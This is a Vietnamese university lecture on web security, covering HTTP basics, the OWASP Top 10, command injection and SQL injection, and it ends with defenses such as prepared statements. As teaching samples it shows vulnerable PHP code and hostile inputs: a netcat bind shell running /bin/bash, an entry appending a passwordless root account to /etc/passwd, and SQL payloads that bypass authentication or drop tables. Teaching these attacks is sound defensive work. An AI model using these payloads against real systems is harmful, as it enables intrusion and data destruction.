Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng

World Wide Web

• Ra đời năm 1990

• Hệ thống các siêu văn bản trình bày bằng ngôn ngữ

HTML được liên kết với nhau

• Cho phép truy cập đến nhiều dạng tài nguyên thông tin

khác nhau (văn bản, hình ảnh, âm thanh, video.) qua

URL (Uniform Resource Location) và URI (Uniform

Resource Identifier)

• Đang được điều hành bởi W3C

• Các công nghệ liên quan: CSS, XML, JavaScrips, Adobe

Flash, Silverlight.

• Hiện tại đã trở thành nền tảng (Web-based service)

Giao thức HTTP

• Sử dụng TCP, cổng 80

• Trao đổi thông điệp HTTP

(giao thức ứng dụng)

HTTP Request

HTTP Response

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 1

Trang 1

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 2

Trang 2

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 3

Trang 3

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 4

Trang 4

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 5

Trang 5

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 6

Trang 6

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 7

Trang 7

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 8

Trang 8

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 9

Trang 9

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng trang 10

Trang 10

Tải về để xem bản đầy đủ

pdf 21 trang duykhanh 3640
Bạn đang xem 10 trang mẫu của tài liệu "Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng", để tải tài liệu gốc về máy hãy click vào nút Download ở trên

Tóm tắt nội dung tài liệu: Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng

Bài giảng An toàn an ninh mạng - Bài 6: An toàn dịch vụ Web SQL Injection - Bùi Trọng Tùng
 BÀI 6.
 AN TOÀN DỊCH VỤ WEB
 SQL INJECTION
 Bùi Trọng Tùng,
 Viện Công nghệ thông tin và Truyền thông,
 Đại học Bách khoa Hà Nội
 1
Nội dung
• Tổng quan về hoạt động của dịch vụ Web
• Tấn công dạng Command Injection
• SQL Injection
• XSS
• CSRF
• Quản lý phiên
 2
 1
 1. TỔNG QUAN VỀ DỊCH VỤ WEB
 Bùi Trọng Tùng,
 Viện Công nghệ thông tin và Truyền thông,
 Đại học Bách khoa Hà Nội
 3
World Wide Web
• Ra đời năm 1990
• Hệ thống các siêu văn bản trình bày bằng ngôn ngữ 
 HTML được liên kết với nhau
• Cho phép truy cập đến nhiều dạng tài nguyên thông tin 
 khác nhau (văn bản, hình ảnh, âm thanh, video...) qua 
 URL (Uniform Resource Location) và URI (Uniform 
 Resource Identifier)
• Đang được điều hành bởi W3C
• Các công nghệ liên quan: CSS, XML, JavaScrips, Adobe 
 Flash, Silverlight...
• Hiện tại đã trở thành nền tảng (Web-based service)
 4
 2
Giao thức HTTP
• Sử dụng TCP, cổng 80 Web clients
• Trao đổi thông điệp HTTP 
 (giao thức ứng dụng)
 IE
 HTTP Request Web 
 HTTP Response server
 Firefox
 Navigator
 5
Thông điệp HTTP Request
• Mã ASCII (dễ dàng đọc được dưới dạng văn bản)
 request line
 (GET, POST, GET /dccn/index.html HTTP/1.1
 HEAD commands) Host: www.it-hut.edu.vn 
 User-agent: Mozilla/4.0
 header Connection: close 
 lines Accept-language:en-us 
 CR, LF 
 (extra carriage return, line feed)
 indicates end 
 of message
 6
 3
Thông điệp HTTP Response
 status line
 (protocol
 status code HTTP/1.1 200 OK 
 status phrase) Connection close
 Date: Tue, 16 Mar 2008 12:00:15 GMT 
 Server: Apache/1.3.0 (Unix) 
 header
 Last-Modified: Mon, 15 Mar 2008 ... 
 lines
 Content-Length: 8990 
 Content-Type: text/html
 data, e.g., data data data data data ... 
 requested
 HTML file
 7
Tương tác với web server
• Địa chỉ URL
 Giao thức Tên miền(sẽ được phân 
 giải thành địa chỉ IP)
 Đường dẫn tới tài nguyên (nội 
 dung tĩnh, thường là file HTML)
 8
 4
Tương tác với web server (tiếp)
• Tương tác với các kịch bản được thực thi trên server 
 (servlet)
 Đường dẫn tới servlet, cho phép Các tham số cho quá 
 server sinh nội dung trang web tùy trình sinh nội dung
 thuộc các tham số:
 CGI: Common Gateway Interface
 PHP, JSP, ASP: ngôn ngữ kịch bản 
 (scrips)
 9
Kiến trúc chung của các dịch vụ web
 subdomain.mysite.com/folder/page?id=5
 HTML Page, JS file, CSS file, image, etc.
 run code
 Database Queries
 Người dùng có thể 
 tương tác với các tài 
 nguyên khác thông 
 qua dịch vụ web
 10
 5
Các nguy cơ đối với dịch vụ web
• Tấn công server từ phía client
 Tấn công dạng Injection
 File System Traversal
 Broken Access Control
 11
Các nguy cơ đối với dịch vụ web
• Tấn công từ phía server:
 Clickjacking
 HistoryProbing
 Phishing
 12
 6
Các nguy cơ đối với dịch vụ web
• Tấn công người dùng khác:
 XSS
 CSRF
 Remote Script Inclusion
 13
Top 15 lỗ hổng(2015 White Hat Security)
 80 70
 70
 60 56
 50 47
 40
 29
 30 26 24
 20 16 15
 11 8
 10 6 6 6 5
 0
 14
 7
2013 OWASP Top10 Project
 Mã Tên Mô tả
 A-1 Injection Cho phép chèn dữ liệu ác tính vào câu lệnh hoặc 
 truy vấn
 A-2 Authentication Đánh cắp mật khẩu, khóa, thẻ phiên, hoặc khai 
 and Session thác lỗ hổng để giả mạo người dùng
 Management
 A-3 XSS Ứng dụng Web không kiểm tra mã thực thi nhúng 
 vào dữ liệu nhận được và gửi lại mã thực thi này 
 cho trình duyệt 
  Các lỗ hổng xuất Để lộ file, thư mục chứa thông tin cấu hình quan 
 hiện trong quá trọng, phân quyền truy cập không hợp lý
 trình triển khai
 A-8 CSRF Trình duyệt của nạn nhân gửi thông điệp HTTP 
 Request một cách ngoài ý muốn khi nạn nhân 
 đang ở trạng thái đăng nhập 
 15
 2. TẤN CÔNG DẠNG COMMAND 
 INJECTION
 Bùi Trọng Tùng,
 Viện Công nghệ thông tin và Truyền thông,
 Đại học Bách khoa Hà Nội
 16
 8
 Command Injection
 • Lợi dụng lỗ hổng không kiểm soát giá trị các đối số khi 
 thực thi kịch bản (servlet) trên web server
 Không phân biệt các ký hiệu điều khiển (ký hiệu phép toán, dấu ; “ 
 ‘...) trong giá trị của đối số và trong câu lệnh
 • Ví dụ: Website chứa servlet cung cấp tính năng tính toán 
 biểu thức bất kỳ qua hàm eval()
 $in = $_GET[‘exp']; 
 Nội dung biểu thức được truyền eval('$ans = ' . $in . ';'); 
 qua đối số exp. Ví dụ: 
 • Servlet thực thi như thế nào nếu truyền đối số như sau:
 “10 ; system(‘rm *.*’)”
 17
 Command Injection – Ví dụ khác
 1. 
 Client Server
 2. Send page
Ping for FREE
Enter an IP address below: Ô nhập dữ 
 liệu
 18
 9
 Command Injection – Ví dụ khác
 Client Server
 Send output
 $t = $_REQUEST[‘ip']; 
 $o = shell_exec(‘ping –C 3’ . $t);
 echo $o
Ping for FREE PHP exec program
Enter an IP address below:
 19
 Command Injection – Ví dụ khác
 Client Server
 2. Send page
 $t = $_REQUEST[‘ip']; 
 $o = shell_exec(‘ping –C 3’ . $t);
 echo $o
 PHP exec program
 20
 10
Command Injection – Ví dụ khác
 127.0.0.1;ls
 Client Server
 2. Send page
 $t = $_REQUEST[‘ip']; 
 $o = shell_exec(‘ping –C 3’ . $t);
 echo $o
 PHP exec program
 21
Command Injection – Ví dụ khác
• Thực thi shell
 ip=127.0.0.1+%26+netcat+-v+-
 e+'/bin/bash'+-l+-p+31337&submit=submit
 netcat –v –e ‘/bin/bash’ –l –p 31337 
 22
 11
Command Injection – Ví dụ khác
• Mã PHP để gửi email:
 $email = $_POST[“email”]
 $subject = $_POST[“subject”]
 system(“mail $email –s $subject < /tmp/joinmynetwork”)
• Chèn mã thực thi khi truyền giá trị cho đối số:
 email=hacker@hackerhome.net &
 subject=foo < /usr/passwd; ls
• Hoặc
 email=hacker@hackerhome.net&subject=foo; 
 echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
 23
Phòng chống
• Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ
  Ký tự nào là hợp lệ? Phụ thuộc ngữ cảnh
• Sử dụng dấu ‘\’ đặt trước các ký tự đặc biệt
  Nếu kẻ tấn công chèn trước ký tự ‘\’ ?
• Bỏ qua các ký tự đặc biệt
 Nếu kẻ tấn công dùng mã ASCII?
 Luôn có cách vượt qua kiểm tra
• Cách tốt hơn: không sử dụng các hàm có quá nhiều 
 quyền thực thi.
 Không hiệu quả với SQL Injection
 24
 12
SQL Injection
• Mục tiêu: các website sử dụng CSDL ở back-end
• Lỗ hổng SQL Injection: không kiểm soát giá trị đối số 
 truyền cho các servlet khi thực hiện các truy vấn CSDL
 Web server không phân biệt được các ký tự là của câu truy vấn 
 hay của giá trị truyền cho đối số
• Mục đích: sửa đổi hoặc chèn truy vấn con vào các truy 
 vấn thông thường để đọc trái phép hoặc thay thế thông 
 tin trên trang web
• Lỗ hổng phổ biến nhất trên các website
 25
Kịch bản tấn công SQL Injection
 Victim Server
 1
 2
 Thực hiện 
 3 Trả lại dữ liệu nằm câu truy 
Attacker ngoài dự kiến vấn nằm 
 ngoài dự 
 kiến
 Victim SQL DB
 26
 13
SQL Injection – Ví dụ
• Xem xét đoạn mã PHP sau:
 $user = $_POST[‘recipient’]; 
 $sql = "SELECT AcctNum FROM Customer WHERE 
 Balance < 100 AND Username='$recipient'"; 
 $rs = $db->executeQuery($sql);
• Giả sử đối số được truyền như sau “?recipient=Bob” câu 
 truy vấn được web server chuyển cho DBMS để thực thi 
 như sau:
SELECT AcctNum FROM Customer WHERE Balance < 100 
AND Username=‘Bob’
• Kết quả nào được trả về với truy vấn sau:
SELECT AcctNum FROM Customer WHERE True
 27
Phân tích truy vấn trên cây cú pháp
 SELECT / FROM / WHERE
 AcctNum Customer AND
 < =
 Balance 100 Username 'Bob'
Kết quả truy vấn: Số tài khoản của tất cả khách hàng có 
số dư dưới 100$ và tên khách hàng là Bob
 28
 14
SQL Injection – Ví dụ (tiếp)
• Xem xét đoạn mã PHP sau:
 $recipient = $_GET[‘recipient’]; 
 $sql = "SELECT AcctNum FROM Customer WHERE 
 Balance < 100 AND Username='$recipient'"; 
 $rs = $db->executeQuery($sql);
• Điều gì xảy ra nếu đối số được truyền giá trị làm thay đổi 
 ý nghĩa của câu truy vấn
 Ví dụ truyền vào một giá trị đặc biệt ‘recipient’ để đọc toàn bộ 
 danh sách khách hàng
 29
SQL Injection – Ví dụ (tiếp)
• Truyền đối số như sau:
 ?recipient=anyone’ OR 1 = 1;#
• Câu truy vấn được thực thi:
SELECT AcctNum FROM Customer WHERE Balance < 100 
AND Username=‘anyone’ OR 1 = 1;#’ Dấu # báo hiệu đoạn 
 chú thích bỏ qua
• Biểu thức điều kiện trở thành
WHERE Balance < 100 AND Username=‘anyone’ OR 1 = 1
luôn trả về giá trị TRUE
 30
 15
Cây cú pháp
 SELECT / FROM / WHERE
 AcctNum Customer OR
 AND =
 < = 1 1
 Balance 100 Username ‘anyone’
 31
Một số kỹ thuật khai thác SQLi
• Mệnh đề ORDER BY sắp xếp kết quả theo một cột nào 
 đó được liệt kê trong mệnh đề SELECT
• Sử dụng mệnh đề ORDER BY cho phép đoán số cột 
 được liệt kê trong truy vấn
 Nếu STT của cột ≤ số cột liệt kê trong truy vấn: thực hiện thành 
 công
 Ngược lại trả về thông báo lỗi
 Thông báo lỗi có thể để lộ thông tin về CSDL!!!
 32
 16
Một số kỹ thuật khai thác SQLi(tiếp)
• Mệnh đề UNION cho phép gộp kết quả của các truy vấn
• Yêu cầu: các mệnh đề SELECT phải có cùng số cột, cùng 
 kiểu dữ liệu (hoặc có thể chuyển đổi nếu kiểu dữ liệu 
 khác nhau)
• Dùng mệnh đề UNION cho phép:
 Xác định số cột trong mệnh đề SELECT
 Kiểm tra kiểu dữ liệu
 Thực hiện một truy vấn tới bảng khác: trích xuất dữ liệu, đoán tên 
 bảng, đoán tên cột
 Thông báo lỗi có thể để lộ thông tin về CSDL!!!
 33
Một số kỹ thuật khai thác SQLi(tiếp)
• Sử dụng Batched Query (còn được gọi là query stack)
• Lợi dụng khả năng hỗ trợ thực thi nhiều câu truy vấn cùng 
 lúc của một số ngôn ngữ và hệ quản trị CSDL
 Support ASP ASP.NET PHP
 MySQL No Yes No
 PostgreSQL Yes Yes Yes
 MS SQL Yes Yes Yes
 Lưu ý: Ngay cả khi ngôn ngữ và hệ quản trị CSDL 
 không hỗ trợ, vẫn có thể khai thác bằng mệnh đề 
 UNION
 34
 17
Batched Query – Ví dụ
• Truyền đối số như sau:
 ?recipient=anyone’; DROP TABLE Customer --
• Câu truy vấn được thực thi:
SELECT AcctNum FROM Customer WHERE Balance < 100 
AND Username=‘anyone’; DROP TABLE Customer --’
 Chèn câu lệnh SQL khác để 
 can thiệp sửa đổi CSDL
 Thậm chí có thể chèn vào một đoạn mã thực thi 
 kịch bản hệ thống (shell code)
 35
Blind SQL Injection
• Trong một số trường hợp, hệ thống không trả lại thông 
 báo lỗi khi thực thi câu lệnh SQL
• Để khai thác các lỗi dạng này, có thể sử dụng 2 kỹ thuật:
 Boolean based Blind SQLi: sử dụng các câu truy vấn trả về 
 True/False
 Time-based Blind SQLi: kiểm tra thời gian thực thi câu truy vấn
• Cần mất nhiều thời gian để khai thác lỗi Blind SQLi 
 thường sử dụng các công cụ hỗ trợ (Ví dụ: sqlmap)
 36
 18
Blind SQL Injection
• Ví dụ 1: Boolean-based Blind SQLi
Để tìm thông tin phiên bản của CSDL, chèn lời gọi hàm 
vào câu truy vấn:
and substring(version(),i,1)=c;#
Thay i là vị trí ký tự cần kiểm tra, c là giá trị cần so sánh
• Time-based Blind SQLi
 MySQL: sleep(), benchmark()
 MS SQL: waitfor delay
 37
Phòng chống SQL Injection
• Thêm ký tự ‘\’ vào trước dấu nháy ‘...’ hoặc “...”
• PHP: addslashes( “ ’ or 1 = 1 -- ”)
 Đầu ra: “ \’ or 1=1 -- ”
Hạn chế: tấn công dựa vào mã Unicode của một số ký tự 
đặc biệt
 0x 5c \
$user = 0x bf 27
addslashes($user) 0x bf 27 ¿′
Đầu ra: 0x bf 5c 27 
 ′ 0x bf 5c 
• Hàm tốt hơn: mysql_real_escape_string()
 38
 19
 Phòng chống SQL Injection
 • Hầu hết các ngôn ngữ lập trình, DBMS hỗ trợ kiểm soát 
 các tham số trong câu truy vấn không hiểu lầm giá trị 
 tham số và mã thực thi.
 • Ví dụ: PHP và MySQL
 $dbh = new mysqli();
 $stmt = $dbh->prepare(“SELECT AcctNum FROM Customer WHERE 
 Balance < 100 AND Username= ?”);
 $recipient = $_GET[‘recipient’];
 $stmt->bind_param(“s”, $recipient);
 $stmt->execute(); s: tham số kiểu xâu ký tự
 i: tham số kiểu số nguyên
 • Sử dụng ORM framework d: tham số kiểu số thực
 39
 Cây cú pháp truy vấn SQL
 SELECT / FROM / WHERE
AcctNum Customer AND
 < =
 Balance 100 Username ?
 40
 20
 Cây cú pháp truy vấn SQL
 ?recipient=anyone’ OR 1 = 1 --
 $stmt->bind_param(“s”, $recipient);
 SELECT / FROM / WHERE
AcctNum Customer AND
 < =
 Balance 100 Username anyone’? OR 1 = 1 --
 41
 Bài giảng sử dụng một số hình vẽ và ví dụ từ các bài 
 giảng:
 • Computer and Network Security, Stanford University
 • Computer Security, Berkeley University
 • Introduction to Computer Security, Carnegie Mellon 
 University
 42
 21

File đính kèm:

  • pdfbai_giang_an_toan_an_ninh_mang_bai_6_an_toan_dich_vu_web_sql.pdf